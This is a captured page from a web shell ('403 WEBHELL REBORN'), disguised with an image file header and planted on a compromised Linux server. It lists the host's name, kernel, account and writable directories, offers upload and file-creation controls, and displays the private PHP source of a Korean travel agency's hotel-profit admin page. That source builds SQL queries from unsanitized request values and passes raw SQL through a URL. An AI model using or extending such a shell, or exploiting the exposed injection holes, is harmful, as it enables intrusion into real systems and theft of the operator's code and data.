ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/toadmin/cal_hotel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/toadmin/cal_hotel/hotel_profit_reserv.html
<?
include "../include/top.html"; //공통파일 인클루드
include "_common.html";

if(!$date_s) $date_s="checkin_dt";
if(!$key_date2_s) $key_date2_s = date("Y-m-")."01"; // 기간 검색
if(!$key_date3_s) $key_date3_s = date("Y-m-d"); // 기간 검색

//테이블명
$table = "TB_ACCOUNT_AIR";

// 검색 설정
$sql_where = " ";
//if($hotel_s) $sql_where = " and d.{$hotel_s} like '%{$search_word}%' ";

if(!$date_s) $date_s="start_dt";


$date_between = count(date_to_date($key_date2_s , $key_date3_s));

//if($date_between > 100) { // 검색조건
//	echo("<script>alert('2달 이상 차이가남니다.');</script>");
//	$key_date2_s = date("Y-m-")."01";
//	$key_date3_s = date("Y-m-d");
//}


// 정렬 설정
$sql_order="";
if($sort_obj_s) $sql_order = " d.{$sort_obj_s} {$sort_s}";

// 배열에 저장
$data = array();

$sql="
	SELECT a.res_dt,
	       SUM(b.revn_price) AS revn_tot,
	       SUM(b.exes_price) AS exes_to,
	       SUM(a.room_cnt) AS room_cnt_tot,
	       SUM(a.room_day) AS room_day_tot,
	       SUM(a.sales_total) AS sales_total_tot,
	       (SUM(a.sales_total)-SUM(b.exes_price)) AS comm_tot,/*알선수수료*/ 
	       ((SUM(a.sales_total)-SUM(b.exes_price))+SUM(b.revn_price)) AS incom_tot/*총수익*/ 
	FROM 
	(
	  SELECT res_no,LEFT(ins_dt,10) AS res_dt, room_cnt, room_day , sales_total 
	  FROM TB_RES_HOTEL 
	  WHERE res_stat_cd='C' /*AND srh_pay_stat IN('B','C','D')*/ AND LEFT(ins_dt,10) >= '{$key_date2_s}' AND LEFT(ins_dt,10) <= '{$key_date3_s}' 
	) a
	LEFT JOIN TB_ACCOUNT_HOTEL b
	ON a.res_no=b.res_no 
	GROUP BY a.res_dt
";

$rs = db_query($sql);

$data = db_fetch_all($rs);

$total = count($data);
?>
    <div class="contents_wrap">
    <div class="contents_wrap_in">
    	<div class="title"><strong>예약일별 수익현황</strong></div>
      <div class="contents_detail">

			<div id="Content_box">

			<?include "_tab.html";?>
				
			<div class="top_txt_s">
				<div class="bar_wrap">
				<p class="search_result_txt sch"><span><?=$total?></span><span class="pl10">건이 검색되었습니다.</span></p>
				<ul class="search_rt_btn">
					<li><a href="#" class="Tbtn red" onclick="page_print('print_div');">인쇄하기</a></li>
				</ul>
				</div>
			</div>

			<!-- 폼 -->
			<form name="frm_search" id="frm_search" method="get">
      	<table width="100%" border="0" cellspacing="0" cellpadding="0" class="t_register" >
        <tbody>
			<tr>
			<th width="153">예약일</th>
			<td>

				<ul class="c_in_search">
					<!--<li>
						<select name="date_s">
							<option value="checkin_dt" <?=($date_s=="checkin_dt")?"selected":""?>>입실일</option>
							<option value="res_dt" <?=($date_s=="res_dt")?"selected":""?>>예약일</option>
						</select>
					</li>-->
					<li>
						<a href="#" class="Table_btn" onClick="$('#key_date2_s').val('<?=date("Y-m")?>-01');$('#key_date3_s').val('<?=date("Y-m-d")?>');">이번달</a>&nbsp;
						<a href="#" class="Table_btn" onClick="$('#key_date2_s').val('<?=date("Y-m",strtotime(" -1 month"))?>-01');$('#key_date3_s').val('<?=date("Y-m",strtotime(" -1 month"))?>-31');">지난달</a>
					</li>
					<li>
						<input name="key_date2_s" id="key_date2_s" type="text" class="cal_input" size="12" onclick="AjaxCal(this,event);" value="<?=$key_date2_s?>" readonly/> 
						~ <input name="key_date3_s" id="key_date3_s" type="text" class="cal_input" size="12" onclick="AjaxCal(this,event);" value="<?=$key_date3_s?>" readonly/> 
					</li>
					<li>
					<input type="image" src="../image/btn/btn_search.gif" align="top" alt="검색" class="input_btn_search" />
					</li>
				</ul>

			</td>
			</tr>

				</tbody>
				</table>
			</form>
			<!-- /폼 -->
			
				<!-- print area -->
				<div id="print_div">
				<table width="100%" border="0" cellspacing="0" cellpadding="0" class="t_list mt25" >
				<thead>
				<tr>
				<th width="21%">예약일</th>
				<th width="7%">룸수</th>
				<th width="7%">박수</th>
				<th width="13%">총판매가</th>
				<th width="13%">알선수수료</th>
				<th width="13%">기타수익</th>
				<th width="13%">경비/비용</th>
				<th width="13%">총수익</th>
      	</tr>
        </thead>
        <tbody>
				<?
				$room_tot=0;
				$lodg_tot=0;
				$sales_price_tot=0;
				$com_tot=0;
				$revn_tot=0;
				$exes_tot=0;
				$incom_tot=0;
				for($i=0 ; $i < count($data) ; $i++){
					$row = $data[$i];
					
					$room_tot				+=$row['room_cnt_tot'];
					$lodg_tot				+=$row['room_day_tot'];
					$sales_price_tot+=$row['sales_total_tot'];
					$com_tot				+=$row['comm_tot'];
					$revn_tot				+=$row['revn_tot']; 
					$exes_tot				+=$row['exes_tot'];  
					$incom_tot			+=$row['incom_tot']; 
				?>
      	<tr>
      	<td><?=$row['res_dt']?></td>
				<td><?=$row['room_cnt_tot']?></td>
				<td><?=$row['room_day_tot']?></td>
				<td class="txt_r"><?=number_format($row['sales_total_tot'])?></td>
      	<td class="txt_r"><?=number_format($row['comm_tot'])?></td>
      	<td class="txt_r"><?=number_format($row['revn_tot'])?></td>
				<td class="txt_r"><?=number_format($row['exes_tot'])?></td>
				<td class="txt_r"><?=number_format($row['incom_tot'])?></td>
      	</tr>
				<?
				}
				?>
      	<tr class="bg_gray">
      	<td>계</td>
				<td><?=$room_tot?></td>
				<td><?=$lodg_tot?></td>
				<td class="txt_r"><?=number_format($sales_price_tot)?></td>
				<td class="txt_r"><?=number_format($com_tot)?></td>
      	<td class="txt_r"><?=number_format($revn_tot)?></td>
				<td class="txt_r"><?=number_format($exes_tot)?></td>
      	<td class="txt_r"><?=number_format($incom_tot)?></td>
      	</tr>
        </tbody>
				</table>
				</div> <!-- /print area -->
			</div>
      </div>
		</div>
    </div>
    
<? include "../include/footer.html" ?>

<iframe name="ifrm_print" id="ifrm_print" src="../include/print_iframe.html?table_width=600" width="0" height="0" scrolling="yes"></iframe><!-- 인쇄 -->
<script type="text/javascript">
function to_excel(sql)
{
	if(!confirm('엑셀파일을 다운로드 하시겠습니까?')) return;
	
	document.location.href='hotel_profit_toexecel.html?sql='+sql+'&SqlType=reserv';
}
function page_print(id)
{
	var inner_str = "";
	var ifrm = document.getElementById('ifrm_print');

	inner_str = $("#"+id).html();
	ifrm.contentWindow.document.getElementById('print_div').innerHTML = inner_str;
	ifrm_print.focus();
	ifrm_print.start_print();
}
$(document).ready(function(){

	$(".t_c_list2 tbody td").each(function(){
		
		var _html = $(this).html();
		
		$(this).html("<div style='width:100%;height:19px;overflow:hidden;'>"+_html+"</div>");
	});
});
</script>

Anon7 - 2021